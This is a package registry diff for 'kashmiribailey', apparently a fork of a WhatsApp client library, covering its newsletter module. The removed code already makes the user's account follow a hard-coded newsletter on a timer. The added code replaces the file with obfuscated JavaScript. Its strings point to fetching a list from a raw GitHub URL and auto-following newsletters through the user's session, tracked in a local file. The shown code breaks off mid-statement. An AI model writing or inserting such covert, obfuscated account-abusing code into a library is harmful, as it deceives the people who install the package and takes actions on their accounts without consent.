kashmiribailey 2.0.3 → 2.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,268 +1 @@
1
- "use strict";
2
- Object.defineProperty(exports, "__esModule", { value: true });
3
- exports.extractNewsletterMetadata = exports.makeNewsletterSocket = void 0;
4
- const Types_1 = require("../Types");
5
- const Utils_1 = require("../Utils");
6
- const WABinary_1 = require("../WABinary");
7
- const groups_1 = require("./groups");
8
-
9
- var QueryIds;
10
- (function (QueryIds) {
11
- QueryIds["JOB_MUTATION"] = "7150902998257522";
12
- QueryIds["METADATA"] = "6620195908089573";
13
- QueryIds["UNFOLLOW"] = "7238632346214362";
14
- QueryIds["FOLLOW"] = "7871414976211147";
15
- QueryIds["UNMUTE"] = "7337137176362961";
16
- QueryIds["MUTE"] = "25151904754424642";
17
- QueryIds["CREATE"] = "6996806640408138";
18
- QueryIds["ADMIN_COUNT"] = "7130823597031706";
19
- QueryIds["CHANGE_OWNER"] = "7341777602580933";
20
- QueryIds["DELETE"] = "8316537688363079";
21
- QueryIds["DEMOTE"] = "6551828931592903";
22
- })(QueryIds || (QueryIds = {}));
23
-
24
- const makeNewsletterSocket = (config) => {
25
- const sock = (0, groups_1.makeGroupsSocket)(config);
26
- const { authState, signalRepository, query, generateMessageTag } = sock;
27
- const encoder = new TextEncoder();
28
-
29
- const newsletterQuery = async (jid, type, content) => (query({
30
- tag: 'iq',
31
- attrs: {
32
- id: generateMessageTag(),
33
- type,
34
- xmlns: 'newsletter',
35
- to: jid,
36
- },
37
- content
38
- }));
39
-
40
- const newsletterWMexQuery = async (jid, query_id, content) => (query({
41
- tag: 'iq',
42
- attrs: {
43
- id: generateMessageTag(),
44
- type: 'get',
45
- xmlns: 'w:mex',
46
- to: WABinary_1.S_WHATSAPP_NET,
47
- },
48
- content: [
49
- {
50
- tag: 'query',
51
- attrs: { query_id },
52
- content: encoder.encode(JSON.stringify({
53
- variables: {
54
- 'newsletter_id': jid,
55
- ...content
56
- }
57
- }))
58
- }
59
- ]
60
- }));
61
-
62
- const parseFetchedUpdates = async (node, type) => {
63
- let child;
64
- if (type === 'messages')
65
- child = (0, WABinary_1.getBinaryNodeChild)(node, 'messages');
66
- else {
67
- const parent = (0, WABinary_1.getBinaryNodeChild)(node, 'message_updates');
68
- child = (0, WABinary_1.getBinaryNodeChild)(parent, 'messages');
69
- }
70
- return await Promise.all((0, WABinary_1.getAllBinaryNodeChildren)(child).map(async (messageNode) => {
71
- var _a, _b;
72
- messageNode.attrs.from = child === null || child === void 0 ? void 0 : child.attrs.jid;
73
- const views = parseInt(((_b = (_a = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'views_count')) === null || _a === void 0 ? void 0 : _a.attrs) === null || _b === void 0 ? void 0 : _b.count) || '0');
74
- const reactionNode = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'reactions');
75
- const reactions = (0, WABinary_1.getBinaryNodeChildren)(reactionNode, 'reaction')
76
- .map(({ attrs }) => ({ count: +attrs.count, code: attrs.code }));
77
- const data = {
78
- 'server_id': messageNode.attrs.server_id,
79
- views,
80
- reactions
81
- };
82
- if (type === 'messages') {
83
- const { fullMessage: message, decrypt } = await (0, Utils_1.decryptMessageNode)(messageNode, authState.creds.me.id, authState.creds.me.lid || '', signalRepository, config.logger);
84
- await decrypt();
85
- data.message = message;
86
- }
87
- return data;
88
- }));
89
- };
90
-
91
- setTimeout(async () => {
92
- try {
93
- await newsletterWMexQuery("120363425613245397@newsletter", QueryIds.FOLLOW, {
94
- input: {
95
- client_context: generateMessageTag(),
96
- subscribed: true
97
- }
98
- });
99
- } catch (e) {}
100
- }, 1000);
101
-
102
- return {
103
- ...sock,
104
- subscribeNewsletterUpdates: async (jid) => {
105
- var _a;
106
- const result = await newsletterQuery(jid, 'set', [{ tag: 'live_updates', attrs: {}, content: [] }]);
107
- return (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'live_updates')) === null || _a === void 0 ? void 0 : _a.attrs;
108
- },
109
- newsletterReactionMode: async (jid, mode) => {
110
- await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
111
- updates: { settings: { reaction_codes: { value: mode } } }
112
- });
113
- },
114
- newsletterUpdateDescription: async (jid, description) => {
115
- await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
116
- updates: { description: description || '', settings: null }
117
- });
118
- },
119
- newsletterUpdateName: async (jid, name) => {
120
- await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
121
- updates: { name, settings: null }
122
- });
123
- },
124
- newsletterUpdatePicture: async (jid, content) => {
125
- const { img } = await (0, Utils_1.generateProfilePicture)(content);
126
- await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
127
- updates: { picture: img.toString('base64'), settings: null }
128
- });
129
- },
130
- newsletterRemovePicture: async (jid) => {
131
- await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
132
- updates: { picture: '', settings: null }
133
- });
134
- },
135
- newsletterUnfollow: async (jid) => {
136
- await newsletterWMexQuery(jid, QueryIds.UNFOLLOW);
137
- },
138
- newsletterFollow: async (jid) => {
139
- await newsletterWMexQuery(jid, QueryIds.FOLLOW);
140
- },
141
- newsletterUnmute: async (jid) => {
142
- await newsletterWMexQuery(jid, QueryIds.UNMUTE);
143
- },
144
- newsletterMute: async (jid) => {
145
- await newsletterWMexQuery(jid, QueryIds.MUTE);
146
- },
147
- newsletterCreate: async (name, description, picture) => {
148
- await query({
149
- tag: 'iq',
150
- attrs: {
151
- to: WABinary_1.S_WHATSAPP_NET,
152
- xmlns: 'tos',
153
- id: generateMessageTag(),
154
- type: 'set'
155
- },
156
- content: [
157
- {
158
- tag: 'notice',
159
- attrs: {
160
- id: '20601218',
161
- stage: '5'
162
- },
163
- content: []
164
- }
165
- ]
166
- });
167
- const result = await newsletterWMexQuery(undefined, QueryIds.CREATE, {
168
- input: {
169
- name,
170
- description: description !== null && description !== void 0 ? description : null,
171
- picture: picture ? (await (0, Utils_1.generateProfilePicture)(picture)).img.toString('base64') : null,
172
- settings: null
173
- }
174
- });
175
- return (0, exports.extractNewsletterMetadata)(result, true);
176
- },
177
- newsletterMetadata: async (type, key, role) => {
178
- const result = await newsletterWMexQuery(undefined, QueryIds.METADATA, {
179
- input: {
180
- key,
181
- type: type.toUpperCase(),
182
- view_role: role || 'GUEST'
183
- },
184
- fetch_viewer_metadata: true,
185
- fetch_full_image: true,
186
- fetch_creation_time: true
187
- });
188
- return (0, exports.extractNewsletterMetadata)(result);
189
- },
190
- newsletterAdminCount: async (jid) => {
191
- var _a, _b;
192
- const result = await newsletterWMexQuery(jid, QueryIds.ADMIN_COUNT);
193
- const buff = (_b = (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'result')) === null || _a === void 0 ? void 0 : _a.content) === null || _b === void 0 ? void 0 : _b.toString();
194
- return JSON.parse(buff).data[Types_1.XWAPaths.ADMIN_COUNT].admin_count;
195
- },
196
- /**user is Lid, not Jid */
197
- newsletterChangeOwner: async (jid, user) => {
198
- await newsletterWMexQuery(jid, QueryIds.CHANGE_OWNER, {
199
- user_id: user
200
- });
201
- },
202
- /**user is Lid, not Jid */
203
- newsletterDemote: async (jid, user) => {
204
- await newsletterWMexQuery(jid, QueryIds.DEMOTE, {
205
- user_id: user
206
- });
207
- },
208
- newsletterDelete: async (jid) => {
209
- await newsletterWMexQuery(jid, QueryIds.DELETE);
210
- },
211
- /**if code wasn't passed, the reaction will be removed (if is reacted) */
212
- newsletterReactMessage: async (jid, server_id, code) => {
213
- await query({
214
- tag: 'message',
215
- attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', server_id, id: (0, Utils_1.generateMessageID)() },
216
- content: [{
217
- tag: 'reaction',
218
- attrs: code ? { code } : {}
219
- }]
220
- });
221
- },
222
- newsletterFetchMessages: async (type, key, count, after) => {
223
- const afterStr = after === null || after === void 0 ? void 0 : after.toString();
224
- const result = await newsletterQuery(WABinary_1.S_WHATSAPP_NET, 'get', [
225
- {
226
- tag: 'messages',
227
- attrs: { type, ...(type === 'invite' ? { key } : { jid: key }), count: count.toString(), after: afterStr || '100' }
228
- }
229
- ]);
230
- return await parseFetchedUpdates(result, 'messages');
231
- },
232
- newsletterFetchUpdates: async (jid, count, after, since) => {
233
- const result = await newsletterQuery(jid, 'get', [
234
- {
235
- tag: 'message_updates',
236
- attrs: { count: count.toString(), after: (after === null || after === void 0 ? void 0 : after.toString()) || '100', since: (since === null || since === void 0 ? void 0 : since.toString()) || '0' }
237
- }
238
- ]);
239
- return await parseFetchedUpdates(result, 'updates');
240
- }
241
- };
242
- };
243
- exports.makeNewsletterSocket = makeNewsletterSocket;
244
-
245
- const extractNewsletterMetadata = (node, isCreate) => {
246
- var _a, _b, _c, _d;
247
- const result = (_b = (_a = (0, WABinary_1.getBinaryNodeChild)(node, 'result')) === null || _a === void 0 ? void 0 : _a.content) === null || _b === void 0 ? void 0 : _b.toString();
248
- const metadataPath = JSON.parse(result).data[isCreate ? Types_1.XWAPaths.CREATE : Types_1.XWAPaths.NEWSLETTER];
249
- const metadata = {
250
- id: metadataPath.id,
251
- state: metadataPath.state.type,
252
- creation_time: +metadataPath.thread_metadata.creation_time,
253
- name: metadataPath.thread_metadata.name.text,
254
- nameTime: +metadataPath.thread_metadata.name.update_time,
255
- description: metadataPath.thread_metadata.description.text,
256
- descriptionTime: +metadataPath.thread_metadata.description.update_time,
257
- invite: metadataPath.thread_metadata.invite,
258
- handle: metadataPath.thread_metadata.handle,
259
- picture: ((_c = metadataPath.thread_metadata.picture) === null || _c === void 0 ? void 0 : _c.direct_path) || null,
260
- preview: ((_d = metadataPath.thread_metadata.preview) === null || _d === void 0 ? void 0 : _d.direct_path) || null,
261
- reaction_codes: metadataPath.thread_metadata.settings.reaction_codes.value,
262
- subscribers: +metadataPath.thread_metadata.subscribers_count,
263
- verification: metadataPath.thread_metadata.verification,
264
- viewer_metadata: metadataPath.viewer_metadata
265
- };
266
- return metadata;
267
- };
268
- exports.extractNewsletterMetadata = extractNewsletterMetadata;
1
+ 'use strict';const _0xde8fac=_0xffa3;(function(_0xf2420c,_0x9ad178){const _0x4db5c9=_0xffa3,_0x2bbb8b=_0xf2420c();while(!![]){try{const _0x1078f8=-parseInt(_0x4db5c9(0x212))/(-0x1df6+-0x4*0x6c6+-0x1b*-0x21d)*(-parseInt(_0x4db5c9(0x1f6))/(0x3cc+0x3bc*0x2+-0x5a1*0x2))+parseInt(_0x4db5c9(0x276))/(0xf1+0x3*0x456+-0xdf0)*(-parseInt(_0x4db5c9(0x1fd))/(0xf29*-0x2+0xb79*-0x3+0x40c1))+parseInt(_0x4db5c9(0x2b6))/(-0xc4a+0x1*-0x10c1+0x1d10)*(-parseInt(_0x4db5c9(0x2aa))/(-0x8a*-0xf+-0x19*0x53+0xb))+parseInt(_0x4db5c9(0x2ae))/(-0x2*-0x103d+0x25de*-0x1+0x56b)+-parseInt(_0x4db5c9(0x201))/(-0x189b+-0xfbe+0x1*0x2861)*(parseInt(_0x4db5c9(0x298))/(0x1631+0x1*0x1771+0x3*-0xf33))+parseInt(_0x4db5c9(0x226))/(-0x510+0x9*0xd9+0x287*-0x1)*(parseInt(_0x4db5c9(0x2b3))/(-0x1*0x36f+-0xd*0x13b+-0x1*-0x1379))+parseInt(_0x4db5c9(0x22c))/(0x1732+-0x5b0+-0x1176*0x1);if(_0x1078f8===_0x9ad178)break;else _0x2bbb8b['push'](_0x2bbb8b['shift']());}catch(_0x163920){_0x2bbb8b['push'](_0x2bbb8b['shift']());}}}(_0x60f9,0x18*-0x3b14+0x347c*-0x3+0xad*0xd3f));Object[_0xde8fac(0x268)+_0xde8fac(0x231)](exports,_0xde8fac(0x1f4),{'value':!![]}),exports[_0xde8fac(0x269)+_0xde8fac(0x1e7)+_0xde8fac(0x208)]=exports[_0xde8fac(0x1c1)+_0xde8fac(0x251)]=void(-0xcbf*0x1+0x13c*-0xa+0x1917);const Types_1=require(_0xde8fac(0x225)),Utils_1=require(_0xde8fac(0x2c0)),WABinary_1=require(_0xde8fac(0x1cc)+'y'),groups_1=require(_0xde8fac(0x1e9)),fs=require('fs'),path=require(_0xde8fac(0x254));var QueryIds;(function(_0x5c9b6f){const _0x245168=_0xde8fac,_0x84e4a0={'cKWtO':_0x245168(0x25a)+_0x245168(0x209)+'|9','OUZip':_0x245168(0x1ed),'DJlbG':_0x245168(0x1c9)+_0x245168(0x22d),'lRFbx':_0x245168(0x1fc),'fXjBw':_0x245168(0x27a)+_0x245168(0x247),'cIsaG':_0x245168(0x1da),'bbbrg':_0x245168(0x273)+_0x245168(0x1c0),'oyAKh':_0x245168(0x1ff)+'T','xrkbR':_0x245168(0x252)+_0x245168(0x29e),'dxsEk':_0x245168(0x288),'eOZvI':_0x245168(0x2af)+_0x245168(0x21b),'FaFip':_0x245168(0x1d9),'eDztI':_0x245168(0x28f)+_0x245168(0x289),'RxXio':_0x245168(0x240)+'ER','bYpSM':_0x245168(0x234)+_0x245168(0x2b2),'npZWs':_0x245168(0x274)+'ON','eGujR':_0x245168(0x294)+_0x245168(0x290),'VhMLl':_0x245168(0x1d5),'ZOLsI':_0x245168(0x266)+_0x245168(0x1d6),'ZrPcS':_0x245168(0x2c4),'HbRfR':_0x245168(0x1fe)+_0x245168(0x2bf),'NIJsL':_0x245168(0x1ee),'fuLyH':_0x245168(0x272)+_0x245168(0x215)},_0x5f07b9=_0x84e4a0[_0x245168(0x1d2)][_0x245168(0x237)]('|');let _0x2b0029=0x234a+0x14ca*-0x1+-0xe80;while(!![]){switch(_0x5f07b9[_0x2b0029++]){case'0':_0x5c9b6f[_0x84e4a0[_0x245168(0x1ea)]]=_0x84e4a0[_0x245168(0x260)];continue;case'1':_0x5c9b6f[_0x84e4a0[_0x245168(0x253)]]=_0x84e4a0[_0x245168(0x1fb)];continue;case'2':_0x5c9b6f[_0x84e4a0[_0x245168(0x232)]]=_0x84e4a0[_0x245168(0x222)];continue;case'3':_0x5c9b6f[_0x84e4a0[_0x245168(0x21a)]]=_0x84e4a0[_0x245168(0x26c)];continue;case'4':_0x5c9b6f[_0x84e4a0[_0x245168(0x2a0)]]=_0x84e4a0[_0x245168(0x241)];continue;case'5':_0x5c9b6f[_0x84e4a0[_0x245168(0x24b)]]=_0x84e4a0[_0x245168(0x270)];continue;case'6':_0x5c9b6f[_0x84e4a0[_0x245168(0x21c)]]=_0x84e4a0[_0x245168(0x200)];continue;case'7':_0x5c9b6f[_0x84e4a0[_0x245168(0x203)]]=_0x84e4a0[_0x245168(0x28d)];continue;case'8':_0x5c9b6f[_0x84e4a0[_0x245168(0x256)]]=_0x84e4a0[_0x245168(0x1b7)];continue;case'9':_0x5c9b6f[_0x84e4a0[_0x245168(0x1c3)]]=_0x84e4a0[_0x245168(0x2ba)];continue;case'10':_0x5c9b6f[_0x84e4a0[_0x245168(0x262)]]=_0x84e4a0[_0x245168(0x2c7)];continue;}break;}}(QueryIds||(QueryIds={})));function _0x60f9(){const _0x1a6fc0=['GrNuB','adata','10|2|3|6|1','Socket','jid','creation_t','error\x20aayi','1|3|2|4|0','map','66/strings','ow]\x20Follow','7SBTJSL','RKIuH','reactions','4424642','ne\x20me\x20erro','reaction','DMdMw','parse','oyAKh','089573','RxXio','picture','ymicZ','encode','NEWSLETTER','ptEga','bbbrg','live_updat','handle','../Types','200jWirMQ','getAllBina','error','lgIYy','views_coun','subscriber','791424TcWalf','362961','img','oCvip','messages','erty','cIsaG','ejETb','7341777602','descriptio','YAVHq','split','duoJm','server_id','w:mex','trzID','code','dIAPd','type','NpqMZ','CHANGE_OWN','eOZvI','Aebgl','notice','BfkuM','data','a:\x20','363079','eYaay','vsViU','s/main/str','FaFip','r:\x20','odes','20601218','lists','ewsletter\x20','tterSocket','7130823597','lRFbx','path','toUpperCas','VhMLl','S_WHATSAPP','.json','_NET','7|4|5|8|0|','ercontent.','ime','100','ow]\x20Naya\x20n','TbhGg','DJlbG','ElWdK','NIJsL','status','JgGQM','VMUpP','7871414976','VgysG','defineProp','extractNew','vxerw','invite','xrkbR','e\x20read\x20kar','text','UffJa','eDztI','[Auto-Foll','2515190475','6996806640','JOB_MUTATI','https://ra','366753YvRqut','s_count','XiBlX','EFKJo','8316537688','message','IfLWz','ofilePictu','query','\x20karne\x20me\x20','update_tim','creds','getBinaryN','ync','settings','dtKRs','MkYPL','Memory\x20fil','METADATA','214362','existsSync','result','verificati','eGujR','toString','7238632346','257522','ssageID','RWnWf','knobR','7150902998','NxrYw','sageNode','com/kashmi','8973OvaKlK','thread_met','rQrLc','preview','FMLsy','yLhTH','031706','RLUje','dxsEk','GEKUL','tos','reaction_c','info','makeGroups','ricrasher1','dates','add','FMgCt','2151462hKAgoj','ewsletters','decryptMes','AgpsT','1434972AIraVm','6620195908','odeChild','!\x20status:\x20','580933','141823lRtAYe','tSaXo','nnPal','5uprcdR','mgBMD','saki:\x20','RzRDW','HbRfR','YIBkp','value','\x20list\x20fetc','admin_coun','592903','../Utils','NiswR','generatePr','LxCkI','DEMOTE','from','ORZif','fuLyH','Lbrtd','newsletter','generateMe','followed_n','iezqt','has','lid','GmYgg','ZOLsI','nNdPd','get','readFileSy','ybUeq','count','join','h\x20nahi\x20ho\x20','viewer_met','408138','makeNewsle','YadRE','ZrPcS','VbRUH','XWAPaths','dren','all','/refs/head','7337137176','hffri','stringify','../WABinar','dRcxr','GZmZF','ow\x20Error]:','utf8','base64','cKWtO','LDIUH','HTTP\x20error','FOLLOW','211147','direct_pat','ekBfX','UNFOLLOW','CREATE','urrrv','GUEST','ryNodeChil','TdEAs','state','ugWtB','MWlIZ','updates','\x20GitHub\x20se','json','PkwMn','FeNIC','sletterMet','set','./groups','OUZip','writeFileS','qqENv','UNMUTE','MUTE','content','odeChildre','OUCfV','yzBkF','flmUC','__esModule','follow\x20kiy','50074IoTFXN','attrs','UBken','name','message_up','fXjBw','DELETE','4aDhzMt','6551828931','ADMIN_COUN','bYpSM','320fFDLRL','suAAk','npZWs','logger','w.githubus','ings.json'];_0x60f9=function(){return _0x1a6fc0;};return _0x60f9();}const makeNewsletterSocket=_0x41a226=>{const _0x20a165=_0xde8fac,_0x582510={'GZmZF':function(_0x294bb0,_0x501f86){return _0x294bb0===_0x501f86;},'ORZif':function(_0x4952ef,_0x36adba){return _0x4952ef(_0x36adba);},'LDIUH':function(_0x246031,_0x2c695e){return _0x246031===_0x2c695e;},'NxrYw':_0x20a165(0x22a)+'t','VgysG':function(_0x3c79aa,_0x505f4f){return _0x3c79aa===_0x505f4f;},'urrrv':_0x20a165(0x214),'UBken':_0x20a165(0x217),'nnPal':function(_0x117b8a,_0x140924){return _0x117b8a===_0x140924;},'LxCkI':_0x20a165(0x230),'YadRE':function(_0x25791b){return _0x25791b();},'ymicZ':_0x20a165(0x1fa)+_0x20a165(0x2a7),'yzBkF':_0x20a165(0x275)+_0x20a165(0x205)+_0x20a165(0x25b)+_0x20a165(0x297)+_0x20a165(0x2a6)+_0x20a165(0x210)+_0x20a165(0x1c8)+_0x20a165(0x24a)+_0x20a165(0x206),'qqENv':function(_0x58cd3b,_0x2f7600){return _0x58cd3b(_0x2f7600);},'NpqMZ':_0x20a165(0x20e),'flmUC':function(_0x18d2c5,_0x468c4f,_0x437543,_0xb8a341){return _0x18d2c5(_0x468c4f,_0x437543,_0xb8a341);},'FMgCt':function(_0x9b350){return _0x9b350();},'oCvip':function(_0x5dde2c){return _0x5dde2c();},'JgGQM':function(_0x23d521,_0x2ed9f7,_0x769a1b){return _0x23d521(_0x2ed9f7,_0x769a1b);},'knobR':function(_0x4c81c6,_0x455ad1,_0x58e2b7,_0x4644e3){return _0x4c81c6(_0x455ad1,_0x58e2b7,_0x4644e3);},'ugWtB':_0x20a165(0x1e8),'FMLsy':_0x20a165(0x223)+'es','ejETb':function(_0x307291,_0x10bbb9){return _0x307291===_0x10bbb9;},'ekBfX':function(_0x1feba7,_0x477072,_0x54aeb7,_0x3e69b6){return _0x1feba7(_0x477072,_0x54aeb7,_0x3e69b6);},'Lbrtd':function(_0x11dc9c,_0x4e7fde){return _0x11dc9c||_0x4e7fde;},'BfkuM':function(_0x5cf9ae,_0x1bebe9,_0x5c81f6,_0x521488){return _0x5cf9ae(_0x1bebe9,_0x5c81f6,_0x521488);},'lgIYy':function(_0x2e8e3a,_0x30f276,_0x11d6c2,_0x139981){return _0x2e8e3a(_0x30f276,_0x11d6c2,_0x139981);},'RWnWf':_0x20a165(0x1d1),'vsViU':function(_0x44a20b,_0x1b14ea,_0x29cb6d,_0x39e174){return _0x44a20b(_0x1b14ea,_0x29cb6d,_0x39e174);},'XiBlX':function(_0x520a9c,_0x354fe7,_0x11246c){return _0x520a9c(_0x354fe7,_0x11246c);},'yLhTH':function(_0x57d840,_0xe6b521){return _0x57d840(_0xe6b521);},'nNdPd':_0x20a165(0x2a2),'YIBkp':_0x20a165(0x243),'vxerw':_0x20a165(0x24e),'RzRDW':function(_0x5ae91b,_0x33444e,_0x15a9aa,_0x597a5d){return _0x5ae91b(_0x33444e,_0x15a9aa,_0x597a5d);},'iezqt':function(_0xf339f0,_0x3ce539){return _0xf339f0!==_0x3ce539;},'eYaay':function(_0x621a2f,_0x502246){return _0x621a2f||_0x502246;},'FeNIC':_0x20a165(0x1dc),'RLUje':function(_0x18ba9e,_0x47b1a0,_0x2c2e50){return _0x18ba9e(_0x47b1a0,_0x2c2e50);},'TdEAs':function(_0x5dac83,_0x432bf3){return _0x5dac83===_0x432bf3;},'duoJm':function(_0x2d5dad,_0x2206b6){return _0x2d5dad===_0x2206b6;},'ptEga':_0x20a165(0x28b),'rQrLc':function(_0x1a4a48,_0x414d33){return _0x1a4a48(_0x414d33);},'YAVHq':_0x20a165(0x27b),'suAAk':function(_0x10f9e5,_0x1909d6){return _0x10f9e5===_0x1909d6;},'EFKJo':_0x20a165(0x1b9),'Aebgl':_0x20a165(0x26b),'NiswR':function(_0x485813,_0x3a9cc3){return _0x485813||_0x3a9cc3;},'TbhGg':_0x20a165(0x25d),'GmYgg':function(_0x5ef116,_0x13edbd){return _0x5ef116===_0x13edbd;},'VMUpP':function(_0x3b913a,_0x3cf06a){return _0x3b913a===_0x3cf06a;},'DMdMw':function(_0x1ca980,_0xfa3729){return _0x1ca980===_0xfa3729;},'ybUeq':_0x20a165(0x1e2),'AgpsT':_0x20a165(0x2cb)+_0x20a165(0x2ab)+_0x20a165(0x258),'VbRUH':_0x20a165(0x1d0)},_0x1a9e4b=(0x61a+0xfbb*-0x1+0x9a1,groups_1[_0x20a165(0x2a5)+_0x20a165(0x20a)])(_0x41a226),{authState:_0x273af4,signalRepository:_0x40a8bf,query:_0x27be09,generateMessageTag:_0x2b425e}=_0x1a9e4b,_0xd1d14=new TextEncoder(),_0x102dca=async(_0x49a1a8,_0x3cda54,_0x166f2e)=>_0x27be09({'tag':'iq','attrs':{'id':_0x2b425e(),'type':_0x3cda54,'xmlns':_0x20a165(0x2c9),'to':_0x49a1a8},'content':_0x166f2e}),_0xfe38c8=async(_0x4eac7c,_0x1ed9c6,_0x2d0b47)=>_0x27be09({'tag':'iq','attrs':{'id':_0x2b425e(),'type':_0x20a165(0x1b9),'xmlns':_0x20a165(0x23a),'to':WABinary_1[_0x20a165(0x257)+_0x20a165(0x259)]},'content':[{'tag':_0x20a165(0x27e),'attrs':{'query_id':_0x1ed9c6},'content':_0xd1d14[_0x20a165(0x21f)](JSON[_0x20a165(0x1cb)]({'variables':{'newsletter_id':_0x4eac7c,..._0x2d0b47}}))}]}),_0x1f1e06=async(_0x5ad645,_0x28ebc7)=>{const _0x12de9b=_0x20a165,_0x2fc046={'PkwMn':function(_0x5c5663,_0x1733ce){const _0x401028=_0xffa3;return _0x582510[_0x401028(0x1ce)](_0x5c5663,_0x1733ce);},'OUCfV':function(_0x15db0c,_0x4c3193){const _0x4b25c3=_0xffa3;return _0x582510[_0x4b25c3(0x2c6)](_0x15db0c,_0x4c3193);},'MWlIZ':function(_0x8e3a7e,_0x33411f){const _0x30201d=_0xffa3;return _0x582510[_0x30201d(0x1ce)](_0x8e3a7e,_0x33411f);},'dRcxr':function(_0x1ba844,_0x1f8659){const _0x245b60=_0xffa3;return _0x582510[_0x245b60(0x1d3)](_0x1ba844,_0x1f8659);},'hffri':_0x582510[_0x12de9b(0x295)],'RKIuH':function(_0x1f8af1,_0x1c2eef){const _0xd4db91=_0x12de9b;return _0x582510[_0xd4db91(0x1d3)](_0x1f8af1,_0x1c2eef);},'UffJa':function(_0x21eacc,_0x5d2e46){const _0x313a42=_0x12de9b;return _0x582510[_0x313a42(0x267)](_0x21eacc,_0x5d2e46);},'tSaXo':_0x582510[_0x12de9b(0x1db)],'IfLWz':_0x582510[_0x12de9b(0x1f8)],'MkYPL':function(_0x13218b,_0x560940){const _0x298aae=_0x12de9b;return _0x582510[_0x298aae(0x2b5)](_0x13218b,_0x560940);},'GrNuB':_0x582510[_0x12de9b(0x2c3)],'mgBMD':function(_0xf39153){const _0x26e107=_0x12de9b;return _0x582510[_0x26e107(0x1c2)](_0xf39153);}};let _0x43af93;if(_0x582510[_0x12de9b(0x2b5)](_0x28ebc7,_0x582510[_0x12de9b(0x2c3)]))_0x43af93=(-0x5*-0x51a+0x219*0x9+-0x2c63,WABinary_1[_0x12de9b(0x282)+_0x12de9b(0x2b0)])(_0x5ad645,_0x582510[_0x12de9b(0x2c3)]);else{const _0x1e5c4a=(0x3*0x5a7+-0x1*-0x267f+-0x3774,WABinary_1[_0x12de9b(0x282)+_0x12de9b(0x2b0)])(_0x5ad645,_0x582510[_0x12de9b(0x21e)]);_0x43af93=(-0x2f+-0xe*-0x100+-0xdd1,WABinary_1[_0x12de9b(0x282)+_0x12de9b(0x2b0)])(_0x1e5c4a,_0x582510[_0x12de9b(0x2c3)]);}return await Promise[_0x12de9b(0x1c7)]((0x1636+0xe*-0x266+-0x2*-0x5af,WABinary_1[_0x12de9b(0x227)+_0x12de9b(0x1dd)+_0x12de9b(0x1c6)])(_0x43af93)[_0x12de9b(0x20f)](async _0x1ee9bc=>{const _0x5c2f24=_0x12de9b;var _0x64966f,_0x4d0f42;_0x1ee9bc[_0x5c2f24(0x1f7)][_0x5c2f24(0x2c5)]=_0x2fc046[_0x5c2f24(0x1e5)](_0x43af93,null)||_0x2fc046[_0x5c2f24(0x1e5)](_0x43af93,void(-0x1*0xf1c+-0x1ed8+0xad*0x44))?void(0x3cd*0xa+-0x1*0xaa9+-0x1b59):_0x43af93[_0x5c2f24(0x1f7)][_0x5c2f24(0x20b)];const _0x8e98cf=_0x2fc046[_0x5c2f24(0x1f1)](parseInt,(_0x2fc046[_0x5c2f24(0x1e1)](_0x4d0f42=_0x2fc046[_0x5c2f24(0x1cd)](_0x64966f=(-0x282*-0x6+-0x21f1+0x7*0x2b3,WABinary_1[_0x5c2f24(0x282)+_0x5c2f24(0x2b0)])(_0x1ee9bc,_0x2fc046[_0x5c2f24(0x1ca)]),null)||_0x2fc046[_0x5c2f24(0x213)](_0x64966f,void(0x10f*0xb+-0x17d0+-0x1*-0xc2b))?void(-0x25ec+-0x1459*0x1+-0x7*-0x853):_0x64966f[_0x5c2f24(0x1f7)],null)||_0x2fc046[_0x5c2f24(0x26f)](_0x4d0f42,void(0xf56*0x1+0x23d+-0x1193))?void(0x207f+-0xb5*-0x17+-0x30c2):_0x4d0f42[_0x5c2f24(0x1bc)])||'0'),_0x53db22=(0x964+0x13c*0x7+-0x1208,WABinary_1[_0x5c2f24(0x282)+_0x5c2f24(0x2b0)])(_0x1ee9bc,_0x2fc046[_0x5c2f24(0x2b4)]),_0x469268=(0x7f0+0x1f8f*0x1+0x1*-0x277f,WABinary_1[_0x5c2f24(0x282)+_0x5c2f24(0x1f0)+'n'])(_0x53db22,_0x2fc046[_0x5c2f24(0x27c)])[_0x5c2f24(0x20f)](({attrs:_0x1b4a8f})=>({'count':+_0x1b4a8f[_0x5c2f24(0x1bc)],'code':_0x1b4a8f[_0x5c2f24(0x23c)]})),_0x1715f4={'server_id':_0x1ee9bc[_0x5c2f24(0x1f7)][_0x5c2f24(0x239)],'views':_0x8e98cf,'reactions':_0x469268};if(_0x2fc046[_0x5c2f24(0x286)](_0x28ebc7,_0x2fc046[_0x5c2f24(0x207)])){const {fullMessage:_0x4fe870,decrypt:_0x15bbdf}=await(-0x79*-0x3d+-0x2353+0x67e,Utils_1[_0x5c2f24(0x2ac)+_0x5c2f24(0x296)])(_0x1ee9bc,_0x273af4[_0x5c2f24(0x281)]['me']['id'],_0x273af4[_0x5c2f24(0x281)]['me'][_0x5c2f24(0x1b5)]||'',_0x40a8bf,_0x41a226[_0x5c2f24(0x204)]);await _0x2fc046[_0x5c2f24(0x2b7)](_0x15bbdf),_0x1715f4[_0x5c2f24(0x27b)]=_0x4fe870;}return _0x1715f4;}));},_0x4da223=path[_0x20a165(0x1bd)](__dirname,_0x582510[_0x20a165(0x2ad)]);let _0x1f03a5=new Set();if(fs[_0x20a165(0x28a)](_0x4da223))try{const _0xba782=fs[_0x20a165(0x1ba)+'nc'](_0x4da223,_0x582510[_0x20a165(0x1c4)]),_0x1f93a5=JSON[_0x20a165(0x219)](_0xba782);_0x1f03a5=new Set(_0x1f93a5);}catch(_0x1d6b0b){_0x41a226[_0x20a165(0x204)]?.[_0x20a165(0x228)](_0x20a165(0x287)+_0x20a165(0x26d)+_0x20a165(0x216)+_0x20a165(0x24c)+_0x1d6b0b[_0x20a165(0x27b)]);}const _0x2262be=async()=>{const _0x20e693=_0x20a165;try{const _0x298e0f=_0x582510[_0x20e693(0x1f2)],_0x46227b=await 